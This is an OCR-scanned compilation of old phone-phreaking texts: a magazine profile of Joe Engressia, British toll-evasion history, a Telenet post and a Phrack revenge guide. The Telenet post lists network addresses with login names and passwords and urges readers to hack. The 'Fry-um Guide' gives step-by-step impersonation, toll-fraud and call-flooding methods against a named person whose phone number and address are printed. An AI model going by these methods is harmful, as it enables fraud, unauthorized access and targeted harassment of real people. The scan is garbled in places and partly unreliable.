touch-tone model; two tape recorders; a heap of phone patches and cassettes, 
and a life-size toy telephone. 


Our conversation is interrupted every ten minutes by phone phreaks from all 
over the country ringing Joe on just about every piece of equipment but the toy 
phone and the Braille typewriter. One fourteen-year-old blind kid from 
Connecticut calls up and tells Joe he's got a girl friend. He wants to talk to 

Joe about girl friends. Joe says they'll talk later in the evening when they 

can be alone on the line. Joe draws a deep breath, whistles him off the air 
with an earsplitting 2600-cycle whistle. Joe is pleased to get the calls but he 
looked worried and preoccupied that evening, his brow constantly furrowed over 
his dark wandering eyes. In addition to the phone-company stall, he has just 
learned that his apartment house is due to be demolished in sixty days for 
urban renewal. For all its shabbiness, the Union Avenue apartment house has 
been Joe's first home-of-his-own and he's worried that he may not find another 
before this one is demolished. 


But what really bothers Joe is that switchmen haven't been listening to him. 
"I've been doing some checking on 800 numbers lately, and I've discovered that 
certain 800 numbers in New Hampshire couldn't be reached from Missouri and 
Kansas. Now it may sound like a small thing, but I don't like to see sloppy 
work; it makes me feel bad about the lines. So I've been calling up switching 
offices and reporting it, but they haven't corrected it. I called them up for 

the third time today and instead of checking they just got mad. Well, that 

gets me mad. I mean, I do try to help them. There's something about them I 
can't understand -- you want to help them and they just try to say you're 
defrauding them." 


It is Sunday evening and Joe invites me to join him for dinner at a Holiday 

Inn. Frequently on Sunday evening Joe takes some of his welfare money, calls a 
cab, and treats himself to a steak dinner at one of Memphis' thirteen Holiday 
Inns. (Memphis is the headquarters of Holiday Inn. Holiday Inns have been a 
favorite for Joe ever since he made his first solo phone trip to a Bell 

switching office in Jacksonville, Florida, and stayed in the Holiday Inn there. 

He likes to stay at Holiday Inns, he explains, because they represent freedom 

to him and because the rooms are arranged the same all over the country so he 
knows that any Holiday Inn room is familiar territory to him. Just like any 
telephone.) 


Over steaks in the Pinnacle Restaurant of the Holiday Inn Medical Center on 
Madison Avenue in Memphis, Joe tells me the highlights of his life as a phone 


phreak. 


At age seven, Joe learned his first phone trick. A mean baby-sitter, tired of 
listening to little Joe play with the phone as he always did, constantly, put a 
lock on the phone dial. "I got so mad. When there's a phone sitting there and 

I can't use it... so I started getting mad and banging the receiver up and 

down. I noticed I banged it once and it dialed one. Well, then I tried 

banging it twice..." In a few minutes Joe learned how to dial by pressing the 
hook switch at the right time. "I was so excited ] remember going ‘whoo whoo! 
and beat a box down on the floor." 


At age eight Joe learned about whistling. "I was listening to some intercept 
non working-number recording in L.A.- I was calling L.A. as far back as that, 
but I'd mainly dial non working numbers because there was no charge, and I'd 
listen to these recordings all day. Well, I was whistling ‘cause listening to 
these recordings can be boring after a while even if they are from L.A., and 

all of a sudden, in the middle of whistling, the recording clicked off. I 

fiddled around whistling some more, and the same thing happened. So I called 
up the switch room and said, 'I'm Joe. I'm eight years old and I want to know 
why when I whistle this tune the line clicks off.’ He tried to explain it to 

me, but it was a little too technical at the time. I went on learning. That 

was a thing nobody was going to stop me from doing. The phones were my life, 
and I was going to pay any price to keep on learning. I knew I could go to 
jail. But I had to do what I had to do to keep on learning.” 


The phone is ringing when we walk back into Joe's apartment on Union Avenue. 
It is Captain Crunch. The Captain has been following me around by phone, 
calling up everywhere I go with additional bits of advice and explanation for 

me and whatever phone phreak I happen to be visiting. This time the Captain 
reports he is calling from what he describes as "my hideaway high up in the 
Sierra Nevada.” He pulses out lusty salvos of M-F and tells Joe he is about to 
"go out and get a little action tonight. Do some phreaking of another kind, if 
you know what I mean.” Joe chuckles. 


The Captain then tells me to make sure I understand that what he told me about 
tying up the nation’s phone lines was true, but that he and the phone phreaks 

he knew never used the technique for sabotage. They only learned the technique 
to help the phone company. 


"We do a lot of troubleshooting for them. Like this New Hampshire/Missouri 
WATS-line flaw I've been screaming about. We help them more than they know.” 


After we say good-bye to the Captain and Joe whistles him off the line, Joe 
tells me about a disturbing dream he had the night before: "I had been caught 
and they were taking me to a prison. It was a long trip. They were taking me 


to a prison a long long way away. And we stopped at a Holiday Inn and it was 
my last night ever using the phone and I was crying and crying, and the lady at 
the Holiday Inn said, 'Gosh, honey, you should never be sad at a Holiday Inn. 
You should always be happy here. Especially since it's your last night.’ And 
that just made it worse and I was sobbing so much I couldn't stand it.” 


Two weeks after I left Joe Engressia's apartment, phone-company security agents 
and Memphis police broke into it. Armed with a warrant, which they left pinned 
to a wall, they confiscated every piece of equipment in the room, including his 

toy telephone. Joe was placed under arrest and taken to the city jail where he 

was forced to spend the night since he had no money and knew no one in Memphis 
to call. 


It is not clear who told Joe what that night, but someone told him that the 
phone company had an open-and-shut case against him because of revelations of 
illegal activity he had made to a phone-company undercover agent. 


By morning Joe had become convinced that the reporter from Esquire, with whom 
he had spoken two weeks ago, was the undercover agent. He probably had ugly 
thoughts about someone he couldn't see gaining his confidence, listening to him 
talk about his personal obsessions and dreams, while planning all the while to 
lock him up. 


"I really thought he was a reporter," Engressia told the Memphis Press-Seminar, 
"I told him everything..." Feeling betrayed, Joe proceeded to confess 
everything to the press and police. 


As it turns out, the phone company did use an undercover agent to trap Joe, 
although it was not the Esquire reporter. 


Ironically, security agents were alerted and began to compile a case against 

Joe because of one of his acts of love for the system: Joe had called an 

internal service department to report that he had located a group of defective 
long-distance trunks, and to complain again about the New Hampshire/Missouri 
WATS problem. Joe always liked Ma Bell's lines to be clean and responsive. A 
suspicious switchman reported Joe to the security agents who discovered that 
Joe had never had a long-distance call charged to his name. 


Then the security agents learned that Joe was planning one of his phone trips 

to a local switching office. The security people planted one of their agents 

in the switching office. He posed as a student switchman and followed Joe 
around on a tour. He was extremely friendly and helpful to Joe, leading him 
around the office by the arm. When the tour was over he offered Joe a ride back 
to his apartment house. On the way he asked Joe -- one tech man to another -- 
about "those blue boxers" he'd heard about. Joe talked about them freely, 


talked about his blue box freely, and about all the other things he could do 
with the phones. 


The next day the phone-company security agents slapped a monitoring tape on 
Joe's line, which eventually picked up an illegal call. Then they applied for 
the search warrant and broke in. 


In court Joe pleaded not guilty to possession of a blue box and theft of 

service. A sympathetic judge reduced the charges to malicious mischief and 
found him guilty on that count, sentenced him to two thirty-day sentences to be 
served concurrently and then suspended the sentence on condition that Joe 
promise never to play with phones again. Joe promised, but the phone company 
refused to restore his service. For two weeks after the trial Joe could not be 
reached except through the pay phone at his apartment house, and the landlord 
screened all calls for him. 


Phone-phreak Carl managed to get through to Joe after the trial, and reported 
that Joe sounded crushed by the whole affair. 


"What I'm worried about,” Car! told me, "is that Joe means it this time. The 
promise. That he'll never phone-phreak again, That's what he told me, that 
he's given up phone-phreaking for good. I mean his entire life. He says he 
knows they're going to be watching him so closely for the rest of his life 

he'll never be able to make a move without going straight to jail. He sounded 
very broken up by the whole experience of being in jail. It was awful to hear 
him talk that way. I don't know. I hope maybe he had to sound that way. Over 
the phone, you know." 


He reports that the entire phone-phreak underground is up in arms over the 
phone company's treatment of Joe. "All the while Joe had his hopes pinned on 
his application for a phone-company job, they were stringing him along getting 
ready to bust him, That gets me mad. Joe spent most of his time helping them 
out. The bastards. They think they can use him as an example. All of sudden 
they're harassing us on the coast. Agents are jumping up on our lines. They 
just busted ------ "s mute yesterday and ripped out his lines. But no matter 

what Joe does, I don't think we're going to take this lying down." 


Two weeks later my phone rings and about eight phone phreaks in succession say 
hello from about eight different places in the country, among them Carl, Ed, 

and Captain Crunch. A nationwide phone-phreak conference line has been 
reestablished through a switching machine in -------- , with the cooperation of 

a disgruntled switchman. 


"We have a special guest with us today,” Carl tells me. 


The next voice I hear is Joe's. He reports happily that he has just moved to a 
place called Millington, Tennessee, fifteen miles outside of Memphis, where he 
has been hired as a telephone-set repairman by a small independent phone 
company. Someday he hopes to be an equipment troubleshooter. 


"It's the kind of job I dreamed about. They found out about me from the 
publicity surrounding the trial. Maybe Ma Bell did me a favor busting me. 
I'll have telephones in my hands all day long." 


"You know the expression, ‘Don't get mad, get even'?” phone-phreak Carl asked 
me. "Well, I think they're going to be very sorry about what they did to Joe 
and what they're trying to do to us.” 


(an excellent story presented here by Jolly Roger. 
Taken from the Official Hacker's Guide. Originally 


seen by myself in some book and I cannot remember 
the name of it.) 


-->Courtesy of the Jolly Roger<-- 
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NOTE: THE BRITISH POST OFFICE, IS THE U.S. EQUIVALENT OF MA BELL. 


IN BRITAIN, PHREAKING GOES BACK TO THE EARLY FIFTIES, WHEN THE 
TECHNIQUE OF 
‘TOLL A DROP BACK' WAS DISCOVERED. TOLL A WAS AN EXCHANGE NEAR ST. 
PAULS 
WHICH ROUTED CALLS BETWEEN LONDON AND NEARBY NON-LONDON 
EXCHANGES. THE TRICK 


5 


WAS TO DIAL AN UNALLOCATED NUMBER, AND THEN DEPRESS THE 
RECEIVER-REST FOR 1/2 
SECOND. THIS FLASHING INITIATED THE 'CLEAR FORWARD’ SIGNAL, LEAVING THE 
CALLER 

WITH AN OPEN LINE INTO THE TOLL A EXCHANGE.THE COULD THEN DIAL 018, 
WHICH 

FORWARDED HIM TO THE TRUNK EXCHANGE AT THAT TIME, THE FIRST LONG 
DISTANCE 

EXCHANGE IN BRITAIN AND FOLLOW IT WITH THE CODE FOR THE DISTANT 
EXCHANGE TO 

WHICH HE WOULD BE CONNECTED AT NO EXTRA CHARGE. 


T 


THE SIGNALS NEEDED TO CONTROL THE UK NETWORK TODAY WERE PUBLISHED 
IN THE 
"(NSTITUTION OF POST OFFICE ENGINEERS JOURNAL" AND REPRINTED IN THE 
SUNDAY 
TIMES (15 OCT. 1972). 


THE SIGNALLING SYSTEM THEY USE: SIGNALLING SYSTEM NO. 3 USES PAIRS OF 
FREQUENCIES SELECTED FROM 6 TONES SEPARATED BY 120HZ. WITH THAT INFO, 
THE 
PHREAKS MADE "BLEEPERS" OR AS THEY ARE CALLED HERE IN THE U.S. "BLUE 
BOX", BUT 
THEY DO UTILIZE DIFFERENT MF TONES THEN THE U.S., THUS, YOUR U.S. BLUE BOX 
THAT YOU SMUGGLED INTO THE UK WILL NOT WORK, UNLESS YOU CHANGE THE 
FREQUENCIES, 


IN THE EARLY SEVENTIES, A SIMPLER SYSTEM BASED ON DIFFERENT NUMBERS OF 
PULSES 
WITH THE SAME FREQUENCY (2280HZ) WAS USED. FOR MORE INFO ON THAT, TRY 
TO GETA 
HOLD OF: ATKINSON'S "TELEPHONY AND SYSTEMS TECHNOLOGY". 


IN THE EARLY DAYS OF BRITISH PHREAKING, THE CAMBRIDGE UNIVERSITY TITAN 
COMPUTER WAS USED TO RECORD AND CIRCULATE NUMBERS FOUND BY THE 
EXHAUSTIVE 
DIALING OF LOCAL NETWORKS. THESE NUMBERS WERE USED TO CREATE A CHAIN 
OF LINKS 
FROM LOCAL EXCHANGE TO LOCAL EXCHANGE ACROSS THE COUNTRY, 
BYPASSING THE TRUNK 
CIRCUITS. BECAUSE THE INTERNAL ROUTING CODES IN THE UK NETWORK ARE 
NOT THE 
SAME AS THOSE DIALED BY THE CALLER, THE PHREAKS HAD TO DISCOVER THEM 
BY 'PROBE 
AND LISTEN! TECHNIQUES OR MORE COMMONLY KNOWN IN THE U.S.-- SCANNING. 


WHAT 

THEY DID WAS PUT IN LIKELY SIGNALS AND LISTENED TO FIND OUT IF THEY 
SUCCEEDED. 

THE RESULTS OF SCANNING WERE CIRCULATED TO OTHER PHREAKS. DISCOVERING 
EACH 

OTHER TOOK TIME AT FIRST, BUT EVENTUALLY THE PHREAKS BECAME 
ORGANIZED, THE 

"TAP" OF BRITAIN WAS CALLED "UNDERCURRENTS" WHICH ENABLED BRITISH 
PHREAKS TO 

SHARE THE INFO ON NEW NUMBERS, EQUIPMENT ETC, 


TO UNDERSTAND WHAT THE BRITISH BRITISH PHREAKS DID, THINK OF THE PHONE 
NETWORK IN THREE LAYERS OF LINES: LOCAL, TRUNK, AND INTERNATIONAL.#IN 
THE UK, 

SUBSCRIBER TRUNK DIALING (STD), IS THE MECHANISM WHICH TAKES A CALL 
FROM THE 

LOCAL LINES AND (LEGITIMATELY) ELEVATES IT TO A TRUNK OR INTERNATIONAL 
LEVEL.#THE UK PHREAKS FIGURED THAT A CALL AT TRUNK LEVEL CAN BE 
ROUTED THROUGH 

ANY NUMBER OF EXCHANGES, PROVIDED THAT THE RIGHT ROUTING CODES WERE 
FOUND AND 

USED CORRECTLY. THEY ALSO HAD TO DISCOVER HOW TO GET FROM LOCAL TO 
TRUNK LEVEL 

EITHER WITHOUT BEING CHARGED (WHICH THEY DID WITH A BLEEPER BOX) OR 
WITHOUT 

USING (STD). CHAINING HAS ALREADY BEEN MENTIONED BUT IT REQUIRES LONG 
STRINGS 

OF DIGITS AND SPEECH GETS MORE AND MORE FAINT AS THE CHAIN GROWS, JUST 
LIKE IT 

DOES WHEN YOU STACK TRUNKS BACK AND FORTH ACROSS THE U.S.4THE WAY 
THE SECURITY 

REPS SNAGGED THE PHREAKS WAS TO PUT A SIMPLE 'PRINTERMETER' OR AS WE 
CALL IT: 

A PEN REGISTER ON THE SUSPECTS LINE, WHICH SHOWS EVERY DIGIT DIALED 
FROM THE 

SUBSCRIBERS LINE. 


THE BRITISH PREFER TO GET ONTO THE TRUNKS RATHER THAN CHAINING. ONE 
WAY WAS 
TO DISCOVER WHERE LOCAL CALLS USE THE TRUNKS BETWEEN NEIGHBORING 
EXCHANGES, 
START A CALL AND STAY ON THE TRUNK INSTEAD OF RETURNING TO THE LOCAL 
LEVEL ON 
REACHING THE DISTANT SWITCH. THIS AGAIN REQUIRED EXHAUSTIVE DIALING 
AND MADE 


MORE WORK FOR TITAN; IT ALSO REVEALED 'FIDDLES', WHICH WERE INSERTED BY 
POST 
OFFICE ENGINEERS. 


WHAT FIDDLING MEANS IS THAT THE ENGINEERS REWIRED THE EXCHANGES FOR 
THEIR OWN 
BENEFIT, THE EQUIPMENT IS MODIFIED TO GIVE ACCESS TO A TRUNK WITH OUT 
BEING 
CHARGED, AN OPERATION WHICH IS PRETTY EASY IN STEP BY STEP (SXS) 
ELECTROMECHANICAL EXCHANGES, WHICH WERE INSTALLED IN BRITAIN EVEN IN 
THE 19708 
(NOTE: IKNOW OF A BACK DOOR INTO THE CANADIAN SYSTEM ON A 4A CO., SO IF 
YOU 
ARE ON SXS OR A 4A, TRY SCANNING 3 DIGIT EXCHANGES, IE: DIAL 999,998,997 
ETC.#AND LISTEN FOR THE BEEP-KERCHINK, IF THERE ARE NO 3 DIGIT CODES 
WHICH 
ALLOW DIRECT ACCESS TO A TANDEM IN YOUR LOCAL EXCHANGE AND BYPASSES 
THE AMA SO 
YOU WON'T BE BILLED, NOT HAVE TO BLAST 2600 EVERY TIME YOU WISH TO BOX 
A CALL. 


A FAMOUS BRITISH 'FIDDLER' REVEALED IN THE EARLY 1970S WORKED BY 
DIALING 173. 
THE CALLER THEN ADDED THE TRUNK CODE OF 1 AND THE SUBSCRIBERS LOCAL 
NUMBER. AT 
THAT TIME, MOST ENGINEERING TEST SERVICES BEGAN WITH 17X, SO THE 


ENGINEERS 

COULD HIDE THEIR FIDDLES IN THE NEST OF SERVICE WIRES. WHEN SECURITY 
REPS 

STARTED SEARCHING, THE FIDDLES WERE CONCEALED BY TONES SIGNALLING: 
"NUMBER 

UNOBTAINALBE' OR 'EQUIPMENT ENGAGED! WHICH SWITCHED OFF AFTER A DELAY. 
THE 

NECESSARY RELAYS ARE SMALL AND EASILY HIDDEN. 


THERE WAS ANOTHER SIDE TO PHREAKING IN THE UK IN THE SIXTIES. BEFORE STD 
WAS 
WIDESPREAD, MANY 'ORDINARY’ PEOPLE WERE DRIVEN TO. 


OCCASIONAL PHREAKING FROM SHEER FRUSTRATION AT THE INEFFICIENT 
OPERATOR 

CONTROLLED TRUNK SYSTEM. THIS CAME TO A HEAD DURING A STRIKE ABOUT 
1961 WHEN 

OPERATORS COULD NOT BE REACHED, NOTHING COMPLICATED WAS NEEDED. 
MANY 


Pen 


OPERATORS HAD BEEN IN THE HABIT OF REPEATING THE CODES AS THEY DIALLED 
THE 

REQUESTED NUMBERS SO PEOPLE SOON LEARNT THE NUMBERS THEY CALLED 
FREQUENTLY. 

THE ONLY 'TRICK' WAS TO KNOW WHICH EXCHANGES COULD BE DIALLED 
THROUGH TO PASS 

ON THE TRUNK NUMBER.CALLERS ALSO NEEDED A PRETTY QUIET PLACE TO DO IT, 
SINCE 

TIMING RELATIVE TO CLICKS WAS IMPORTANT THE MOST FAMOUS TRIAL OF 
BRITISH 

PHREAKS WAS CALLED THE OLD BAILY TRIAL.#WHICH STARTED ON 3 OCT. 
1973. AWHAT 

THEY PHREAKS DID WAS TO DIAL A SPARE NUMBER AT A LOCAL CALL RATE BUT 
INVOLVING 

A TRUNK TO ANOTHER EXCHANGE THEN THEY SEND A 'CLEAR FORWARD' TO THEIR, 
LOCAL 

EXCHANGE, INDICATING TO IT THAT THE CALL IS FINISHED;BUT THE DISTANT 
EXCHANGE 

DOESN'T REALIZE BECAUSE THE CALLER'S PHONE IS STILL OFF THE HOOK. THEY 
NOW 

HAVE AN OPEN LINE INTO THE DISTANT TRUNK EXCHANGE AND SENDS TO IT A 
‘SEIZE’ 

SIGNAL: 'l' WHICH PUTS HIM ONTO ITS OUTGOING LINES NOW, IF THEY KNOW THE 
CODES, THE WORLD IS OPEN TO THEM. ALL OTHER EXCHANGES TRUST HIS LOCAL 
EXCHANGE 

TO HANDLE THE BILLING; THEY JUST INTERPRET THE TONES THEY HEAR. MEAN 
WHILE, 

THE LOCAL EXCHANGE COLLECTS ONLY FOR A LOCAL CALL. THE INVESTIGATORS 
DISCOVERED THE PHREAKS HOLDING A CONFERENCE SOMEWHERE IN ENGLAND 
SURROUNDED BY 

VARIOUS PHONE EQUIPMENT AND BLEEPER BOXES, ALSO PRINTOUTS LISTING 
‘SECRET’ POST 

OFFICE CODES. (THEY PROBABLY GOT THEM FROM TRASHING?) THE JUDGE SAID: 
"SOME 

TAKE TO HEROIN, SOME TAKE TO TELEPHONES" FOR THEM PHONE PHREAKING WAS 
NOTA 

CRIME BUT A HOBBY TO BE SHARED WITH PHELLOW ENTHUSIASTS AND DISCUSSED 
WITH THE 

POST OFFICE OPENLY OVER DINNER AND BY MAIL. THEIR APPROACH AND 
ATTITUDE TO THE 

WORLDS LARGEST COMPUTER, THE GLOBAL TELEPHONE SYSTEM, WAS THAT OF 
SCIENTISTS 

CONDUCTING EXPERIMENTS OR PROGRAMMERS AND ENGINEERS TESTING 
PROGRAMS AND 

SYSTEMS. THE JUDGE APPEARED TO AGREE, AND EVEN ASKED THEM FOR 


PHREAKING CODES 
TO USE FROM HIS LOCAL EXCHANGE!!! 


(Left Untouched as I got it...-----JR) 


Bad as Shit 


Recently, a telephone fanatic in the northwest made an interesting 
discovery. He was exploring the 804 area code (Virginia) and found out that 
the 840 exchange did something strange. 

In the vast majority of cases, in fact in all of the cases except one, he 
would get a recording as if the exchange didn't exist. However, if he dialed 
804-840 and four rather predictable numbers, he got a ring! 


After one or two rings, somebody picked up. Being experienced at this kind 
of thing, he could tell that the call didn't "supe", that is, no charges were 
being incurred for calling this number. 

(Calls that get you to an error message, or a special operator, generally 
don't supervise.) A female voice, with a hint of a Southern accent said, 
"Operator, can I help you?” 


"Yes," he said, "What number have | reached?” 

"What number did you dial, sir?” 

He made up a number that was similar. 

"I'm sorry that is not the number you reached.” Click. 

He was fascinated. What in the world was this? He knew he was going to 
call back, but before he did, he tried some more experiments. He tried the 840 
exchange in several other area codes. In some, it came up as a valid exchange. 
In others, exactly the same thing happened -- the same last four digits, the 
same Southern belle. Oddly enough, he later noticed, the areas worked in 
seemed to travel in a beeline from Washington DC to Pittsburgh, PA. 


He called back from a payphone. "Operator, can I help you?" 


"Yes, this is the phone company. I'm testing this line and we don't seem to 
have an identification on your circuit. What office is this, please?" 


"What number are you trying to reach?” 
"I'm not trying to reach any number. I'm trying to identify this circuit." 
"I'm sorry, I can't help you.” 


"Ma'am, if I don't get an ID on this line, I'll have to disconnect it. We 
show no record of it here." 


"Hold on a moment, sir,” 


After about a minute, she came back. "Sir, I can have someone speak to you. 
Would you give me your number, please?" 


He had anticipated this and he had the payphone number ready. After he gave 
it, she said, "Mr. XXX will get right back to you.” 


"Thanks." He hung up the phone. It rang. INSTANTLY! "Oh my God," he 
thought, "They weren't asking for my number -- they were confirming it!" 


"Hello," he said, trying to sound authoritative. 


"This is Mr. XXX. Did you just make an inquiry to my office concerning a 
phone number?" 


"Yes. I need an identi--" 


"What you need is advice. Don't ever call that number again. Forget you 
ever knew it.” 


At this point our friend got so nervous he just hung up. He expected to 
hear the phone ring again but it didn't. 


Over the next few days he racked his brains trying to figure out what the 
number was. He knew it was something big -- that was pretty certain at this 
point. It was so big that the number was programmed into every central office 
in the country. He knew this because if he tried to dial any other number in 
hat exchange, he'd get a local error message from his CO, as if the exchange 
didn't exist. 


It finally came to him. He had an uncle who worked in a federal agency. He 
had a feeling that this was government related and if it was, his uncle could 
probably find out what it was. He asked the next day and his uncle promised to 
look into the matter. 


The next time he saw his uncle, he noticed a big change in his manner. He 
was trembling. "Where did you get that number?!" he shouted. "Do you know I 
almost got fired for asking about it?!? They kept wanting to know where I got 
it.” 


Our friend couldn't contain his excitement. "What is it?" he pleaded. 
"What's the number?!” 


"IT'S THE PRESIDENT'S BOMB SHELTER!" 


He never called the number after that. He knew that he could probably cause 
quite a bit of excitement by calling the number and saying something like, "The 
weather's not good in Washington. We're coming over for a visit." But our 
friend was smart. he knew that there were some things that were better off 
unsaid and undone. 


(A fucking great story from the Official Phreaker's Guide) 


aeeeente nen Jolly Roger 


Telenet Courtesy of the Jolly Roger 


It seems that not many of you know that Telenet is connected to about 80 
computer-networks in the world. No, I don't mean 80 nodes, but 80 networks with 
thousands of unprotected computers. When you call your local Telenet- gateway, 
you can only call those computers which accept reverse-charging- calls. 

If you want to call computers in foreign countries or computers in USA which 
do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can 
type ID XXXX when being connected to Telenet? You are then asked for the 
password. If you have such a NUI (Network-User-ID) you can call nearly every 
host connected to any computer-network in the world. Here are some examples: 


26245400090184 :Is a VAX in Germany (Username: DATEXP and leave mail for 
CHRIS !!) 

0311050500061 :Is the Los Alamos Integrated computing network (One of the 
hosts connected to it is the DNA (Defense Nuclear Agency)!!!) 

0530197000016 :Isa BBS in New Zealand 

024050256 —_:Is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!)) 
2284681140541 :CERN in Geneva in Switzerland (one of the biggest nuclear 
research centers in the world) Login as GUEST 

0234212301161 :A Videotex-standard system. Type OPTEL to get in and use the 
ID 999_ with the password 9_ 

0242211000001 :University of Oslo in Norway (Type LOGIN 17,17 to play the 


Multi-User-Dungeon !) 

0425130000215 :Something like ITT Dialcom, but this one is in Israel | ID 

HELP with password HELP works fine with security level 3 

0310600584401 :Is the Washington Post News Service via Tymnet (Yes, Tymnet is 
connected to Telenet, too !) ID and Password is: PETER You can read the news 

of the next day ! 


The prefixes are as follows: 

02624 is Datex-P in Germany 

02342 is PSS in England 

03110 is Telenet in USA 

03106 is Tymnet in USA 

02405 is Telepak in Sweden 

04251 is Isranet in Israel 

02080 is Transpac in France 

02284 is Telepac in Switzerland 

02724 is Eirpac in Ireland 

02704 is Luxpac in Luxembourg 

05252 is Telepac in Singapore 

04408 is Venus-P in Japan 

..and so on... Some of the countries have more than one 
packet-switching-network (USA has 11, Canada has 3, etc). 


OK. That should be enough for the moment. As you see most of the passwords are 
very simple. This is because they must not have any fear of hackers, Only a few 
German hackers use these networks. Most of the computers are absolutely easy to 
hack !!! So, try to find out some Telenet-ID's and leave them here. If you need 
more numbers, leave e-mail, 

I'm calling from Germany via the German Datex-P network, which is similar to 
Telenet. We have a lot of those NUI's for the German network, but none for a 
special Tymnet-outdial-computer in USA, which connects me to any phone #. 


CUL8R, Mad Max 
PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more 
Informations on packet-switching-networks ! 


PS2: The new password for the Washington Post is KING !!!! 


Fucking with the Operator courtesy of the Jolly Roger 


Ever get an operator who gave you a hard time, and you didn't know 
what to do? Well if the operator hears you use a little Bell jargon, she might 


wise up. Here is a little diagram (excuse the artwork) of the structure of 
operators 


Vv 
es \ 
! Group Chief ! 
\neeeee neces / 


Now most of the operators are not bugged, so they can curse at you, if they 
do ask INSTANTLY for the "S.A." or the Service Assistant. The operator does not 
report to her (95% of them are hers) but they will solve most of your problems, 
She MUST give you her name as she connects & all of these calls are bugged. If 
the SA gives you a rough time get her BOS (Business Office Supervisor) on the 
line. S/He will almost always back her girls up, but sometimes the SA will get 
tarred and feathered. The operator reports to the Group Chief, and S/He will 
solve 100% of your problems, but the chances of getting S/He on the line are 
nill. 

Ifa lineman (the guy who works out on the poles) or an installation man 
gives you the works ask to speak to the Installation Foreman, that works 
wonders, 

Here is some other bell jargon, that might come in handy if you are having 
trouble with the line, Or they can be used to lie your way out of 
situations.... 


An Erling is a line busy for | hour, used mostly in traffic studies A 
Permanent Signal is that terrible howling you get if you disconnect, but don't 
hang up. 

Everyone knows what a busy signal is, but some idiots think that is the 
*Actual* ringing of the phone, when it just is a tone "beeps" when the phone is 
ringing, wouldn't bet on this though, it can (and does) get out of sync. 

When you get a busy signal that is 2 times as fast as the normal one, the 
person you are trying to reach isn't really on the phone, (he might be), it is 
actually the signal that a trunk line somewhere is busy and they haven't or 
can't reroute your call. Sometimes you will get a Recording, or if you get 
nothing at all (Left High & Dry in fone terms) all the recordings are being 
used and the system is really overused, will probably go down in a little 
while. This happened when Kennedy was shot, the system just couldn't handle the 
calls. By the way this is called the "reorder signal" and the trunk line is 
"blocked", 

One more thing, if an overseas call isn't completed and doesn't generate 


any money for AT&T, is is called an "Air & Water Call". 


==Phrack Inc.== 
Volume One, Issue One, Phile #4 of 8 
THE PHONE PHREAK'S FRY-UM GUIDE 
COMPILED BY THE IRON SOLDIER 
WITH HELP FROM DR. DOVE 
NOTE: THIS GUIDE IS STILL BEING COMPILED, AND AS PHONE PHREAKS LEARN 


MORE IN 
THE ART OF VENGEANCE IT WILL ALWAYS EXPAND. 


"Vengeance is mine", says the Phreak. 


METHOD 1!-PHONE LINE PHUN 


Call up the business office. It should be listed at the front of the white 

pages. Say you wanted to disconnect Scott Korman's line. DIAL 800-xxx-xxxx, 
"Hello, this is Mr. Korman, I'm moving to California and would like to 

have my phone service disconnected. I'm at the airport now. I'm calling from 

a payphone, my number is [414] 445 5005. You can send my final bill to: 

(somewhere in California). Thank you." 


METHOD 2-PHONE BOOKS 
Call up the business office from a pay phone. Say : 

"Hello, I'd like to order a Phone Book for Upper Volta (or any out-of-the 
way area with Direct Dialing). This is Scott Korman, ship to 3119 N. 44th St. 
Milwaukee, WI 53216. Yes, I under stand it will cost $xx($25-$75!!). Thank 
you,” 


METHOD 3-PHONE CALLS 


Call up a PBX, enter the code and get an outside line. Then dial 0+ the number 


desired to call. You will hear a bonk and then an operator. Say, "I'd like to 
charge this to my home phone at 414-445-5005. Thank you.” A friend and I did 
this to a loser, I called him at 1:00 AM and we left the fone off the hook all 
night. I calculated that it cost him $168. 


METHOD 4-MISC SERVICES 


Call up the business office once again from a payfone. Say you'd like call 
waiting, forwarding, 3 way, etc. Once again you are the famed loser Scott 
Korman. He pays-you laugh. You don't know how funny it was talking to him, 
and wondering what those clicks he kept hearing were. 


METHOD 5-CHANGED & UNPUB 


Do the same as in #4, but say you'd like to change and unlist your (Scott's) 
number. Anyone calling him will get: 


"BEW BEW BEEP. The number you have reached, 445-5005, has been changed to 
anon-published number. No further.....” 


METHOD 6-FORWRDING 


This required an accomplice or two or three. Around Christmas time, go to 
Toys 'R' Us. Get everyone at the customer service or manager's desk away 
("Hey, could you help me"). then you get on their phone and dial (usually dial 
9 first) and the business office again. This time, say you are from Toys 'R' 

Us, and you'd like to add call forwarding to 445-5005. Scott will get 100-600 
calls a day!!! 


METHOD 7-RUSSIAN CALLER 


Call a payphone at 10:00 PM. Say to the operator that you'd like to book a 
call to Russia. Say you are calling from a payphone, and your number is that 
of the loser to fry (e.g. 445-5005). She will say that she'll have to call ya 
back in 5 hours, and you ok that. Meanwhile the loser (e.g.) Scott, will get a 
call at 3:00 AM from an operator saying that the call he booked to Russia is 
ready. 


IF YOU HAVE ANY QUESTIONS LEAVE E-MAIL FOR ME ON ANY BOARD I'M ON. 
The Iron Soldier 


TSF-The Second Foundation! 


International Country Code Listing courtesy of the Jolly Roger 
*UNITED KINGDOM/IRELAND 
TRELAND.... se eeceesseeees 353 
UNITED KINGDOM... ence 44 
*EUROPE 
ANDORRA... eccsteseseneeees 33 
AUSTRIA... eceseereeereeene 43 
BELGIUM. ie2 
CYPRUS.... 357 
CZECHOLSLOVAKIA..u. eee 42 
DENMARK voc eseecetecesesenees 45 

37 
GERMANY, FEDERAL REPUBLIC OF.....49 
GIBRALTAR... eeneeeetees 350 
GREECE........ 
HUNGARY vs essessereseereneens 36 
ICELAND... 354 
ITALY... seesseseessseeee 
LIECHTENSTEIN... Al 
LUXEMBOURG... eeeeeees 352 


VATICAN CITY... st 
YUGOSLAVIA... cee 38 


*CENTRAL AMERICA 


EL SALVADOR... 
GUATEMALA... eens 
HONDURAS... eee 
NICARAGUA.. ee 
PANAMA... ceesscsssoscesreseeers 


*AFRICA 


MOROCCO... a 
NAMIBIA... .264 
NIGERIA... Ss 
SENEGAL... sssesssseseeneonss 221 
SOUTH AFRICA... eee 27 
SWAZILAND... csceseeees 268 
TANZANIA... esessessseseeens 255 
TUNISIA.... 
UGANDA... esseerseresseees 


KOREA, REPUBLIC OF... 82 
MALAYSIA 


PAKISTAN... 192 
SRI LANKA. ene 94 
*SOUTH AMERICA 
ARGENTINA. cccecceessereeens 54 


BOLIVIA... 591 
BRAZIL... 5 
CHILE... 156 
COLOMBIA... cesses 57 
ECUADOR... 593 


GUYANA... ects 592 


*CARIBBEAN/ATLANTIC 


TO CALL CANADA, DIAL | + AREA CODE + 
LOCAL NUMBER. 


